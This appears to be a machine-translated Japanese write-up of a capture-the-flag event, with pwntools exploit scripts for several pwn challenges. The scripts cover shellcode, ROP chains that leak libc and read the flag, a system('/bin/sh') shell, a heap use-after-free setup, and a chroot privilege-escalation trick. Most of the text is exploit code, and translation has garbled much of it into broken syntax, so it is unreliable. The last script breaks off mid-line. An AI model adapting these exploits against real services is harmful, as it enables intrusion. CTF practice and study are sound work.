Jump to content

crypto

xor

1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール(1つの暗号化のみ)を使用してデコードできます

キーは模倣です

uemkso1oxfl812.png

フラグを復号化します

オンライン復号化

bpeomgpgwsm814.png

またはスクリプト:#ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex(ciphertext)#キーが「キー」であると仮定すると、キー=b'mimic '#xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes( 'utf-8')print( 'utf-8')print(plaintext)1049983-20241029164628741-2140565532.jpg

pwn

ezcode

JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。

PWNインポートから *

JSONをインポートします

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

io=process(pwnfile)

#io=remote()

elf=elf(pwnfile)

libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

#libc=elf( './libc.so.6')

shellcode='' '

Sal Edi、12

MOV DX、7

MOV AX、10

syscall

CDQ

Xor Eax、Eax

MOV ESI、ECX

Xor EDI、EDI

syscall

'' '

shellcode1=asm(shellcode)

print( 'len-'、len(shellcode1))

payload1={

'shellcode': shellcode1.hex()

}

io.sendlineafter( 'input:'、json.dumps(payload1)を入力してください)

shellcode=asm( '' ''

MOV RDI、0x999800d

Xor ESI、ESI

XOR RDX、RDX

Mov Rax、2

syscall

MOV RDI、Rax

MOV RSI、0x9998000+0x300

MOV EDX、0x40

Xor Eax、Eax

syscall

MOV EDI、1

MOV RSI、0x9998000+0x300

Mov Rax、1

syscall

'' ')

io.sendline(b './flag \ x00 \ x00 \ x00'+シェルコード)

io.Interactive()

signin_revenge

スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW

PWNインポートから *

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

#io=process(pwnfile)

io=remote( 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true)

elf=elf(pwnfile)

libc=elf( './libc.so.6')

def debug():

gdb.attach(io)

一時停止()

pop_rdi=0x00000000401393

puts_got=elf.got ['puts']

puts_plt=elf.plt ['puts']

main_adr=elf.symbols ['main']

#デバッグ()

pay=b'a '*0x108+flat(pop_rdi、puts_got、puts_plt、main_adr)

io.sendlineafter( '移動してpwn!\ n'、支払い)

puts_adr=u64(io.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=puts_adr-libc.sym ['puts']

pop_rdx=libc_base +0x00000000142c92

pop_rsi=libc_base +0x00000000002601f

pop_rbp=libc_base +0x0000000000226c0

pop_rax=libc_base +0x0000000000036174

leave_ret=0x4012ee

read=0x04012d6#0x130

BSS=0x404000+0x800

flag_adr=bss+0x98

op=libc_base + libc.symbols ['open']

re=libc_base + libc.symbols ['read']

wr=libc_base + libc.symbols ['write']

pay=b'a '*0x100+p64(bss-8)+flat(pop_rax、bss、read)

io.sendafter( '移動してpwn!\ n'、支払い)

#デバッグ()

orw=flat(pop_rdi、flag_adr、pop_rsi、0、op、

pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、

pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr)+b './flag \ x00'

io.sendline(orw)

io.interactive()

qwen

2b3cf38193ce3750b491914d11006e83

MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。

次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します

0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム( "/bin/sh")を実行してシェルを取得します

exp

PWNインポートから *

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true)

#p=process( 'pwn1')

elf=elf( 'pwn1')

libc=elf( 'libc.so.6')

#debug( 'b *$ rebase(0x1022)\ n')

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

pl=b'a '*0x8 + p16(0x1508)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111')

SLA(b'administrator key \ n '、str(0x6b8b4567))

file_name=b '/proc/self/maps'

sla(b'logged in!\ n '、file_name)

rl(b'デバッグ情報は次のとおりです\ n ')

pro_base=int(r(12)、16)

rl(b'libc.so.6 \ n ')

libc_base=int(r(12)、16)-0x1e7000

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

#0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

#0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

rdi=libc_base +0x00000000002164f

システム、binsh=get_sb()

ret=libc_base +0x00000000000000008aa

one_gadget=libc_base +0x00000000000004ee21

PL=P64(LIBC_BASE +0x000000000000D10BE) + P64(ONE_GADGET) + P64(RET) + P64(RDI) + P64(BINSH) + P64(システム)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

#一時停止()

inter()、そして電力をエスカレートします。

ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。

例えば

/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です

Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。

signin

追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。

PWNインポートから *

ctypesをインポートします

ctypesからインポート *

コンテキスト(arch='amd64'、os='linux'、log_level='debug')

file_name='./vuln'

libc=elf( './libc.so.6')

#libc=ctypes.cdll( '/lib/x86_64-linux-gnu/libc.so.6')

#libc.srand.argtypes=[ctypes.c_uint]

Li=Lambda X : Print( '\ x1b [01; 38; 5; 214m' + str(x) + '\ x1b [0m')

ll=lambda x : print( '\ x1b [01; 38; 5; 1m' + str(x) + '\ x1b [0m')

#context.terminal=['tmux'、 'splitw'、 '-H']

debug=1

debug:の場合

r=remote( 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true)

else:

r=process(file_name)

libcc=cdll.loadlibrary( './libc.so.6')

libcc.srand(libcc.time(0))

elf=elf(file_name)

def dbg():

gdb.attach(r)

一時停止()

def dbgg():

raw_input()

r.send( 'rbp')

範囲(100):のIの場合

a=libcc.rand()%100+1

r.sendafter( '認証コード: \ n'、p64(a)を入力)

r.sendafter( '\ n'、p32(1))

#dbg()

r.sendafter( 'index: \ n'、p32(0))

r.sendafter( 'note: \ n'、b'a '*0x10)

睡眠(0.5)

r.send(b'a '*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013c0)))

libc_base=u64(r.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

openn=libc_base+libc.sym ['open']

read=libc_base+libc.sym ['read']

書き込み=libc_base+libc.sym ['write']

rdi=libc_base +0x0000000000023b6a

rsi=libc_base +0x00000000002601f

rdx=libc_base +0x00000000142c92

印刷(hex(libc_base))

r.send(b'a '*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013c0))

r.send( 'flag')

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404200)+p64(0x4013cf))

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404300)+p64(0x4013cf))

睡眠(0.5)

#dbg()

R.Send(b'flag \ x00 \ x00 \ x00 \ x00 '+p64(RDI)+P64(0x404200)+P64(RSI)+P64(0)+P64(RDX)+P64(0)+P64(Openn)+P64 (RDI)+P64(3)+P64(RSI)+P64(0x4041A0)+P64(RDX)+P64(0x30)+P64(READ)+P64(RDI)+P64(RDI)+P64(1)+P64(書き込み)))

R.Interactive()

ゲストブック

メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです

PWNインポートから *

sysをインポートします

context.log_level='debug'

context.arch='amd64'

#libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

libc=elf( './libc.so.6')

フラグ=1

flag3360の場合

p=remote( 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true)

else:

p=process( './pwn')

SA=Lambda S、N : P.Sendafter(S、N)

SLA=Lambda S、N : P.SendlineFter(S、N)

SL=Lambda S : P.Sendline(s)

sd=lambda s : p.send(s)

rc=lambda n : p.recv(n)

ru=lambda s : p.recvuntil(s)

ti=lambda : p.Itteractive()

漏れ=ラムダ名、addr :log.success(name+' - '+hex(addr))

def dbg():

gdb.attach(p)

一時停止()

DEF CMD(選択):

ru( '')

SL(str(選択))

def add(index、size):

CMD(1)

ru( 'index')

SL(str(index))

ru( 'サイズ')

SL(str(size))

def編集(index、content):

CMD(2)

ru( 'index')

SL(str(index))

ru( 'content')

SD(コンテンツ)

def delete(index):

CMD(3)

ru( 'index')

SL(str(index))

def show(index):

CMD(4)

ru( 'index')

SL(str(index))

追加(0,0x520)

追加(1,0x500)

追加(2,0x510)

削除(0)

追加(3,0x568)

削除(2)

show(0)

mainarean=u64(ru(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=mainarean-0x21b110

編集(0、b'a '*0x10)

show(0)

ru(b'a '*0x10)

heap_base=u64(p.recv(6).ljust(8、b '\ x00'))-0x290

編集(0、P64(メイレアン)*2)

free_hook=libc_base+libc.sym ['__ free_hook']

ogs=[0xe3afe、0xe3b01,0xe3b04]

og=libc_base+ogs [1]

puts_io_all=libc_base + libc.sym ['_ io_list_all']

wfile=libc_base + libc.sym ['_ io_wfile_jumps']

addr=libc.symbols ['puts']+libc_base

fake_io_addr=heap_base +0x1720

lock=0x3ed8b0+libc_base

pop_rdi=libc_base + next(libc.search(asm( 'pop rdi; ret;'))))))

pop_rsi=libc_base + next(libc.search(asm( 'pop rsi; ret;')))))

pop_rdx_r12=libc_base + next(libc.search(asm( 'pop rdx; pop R12)

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...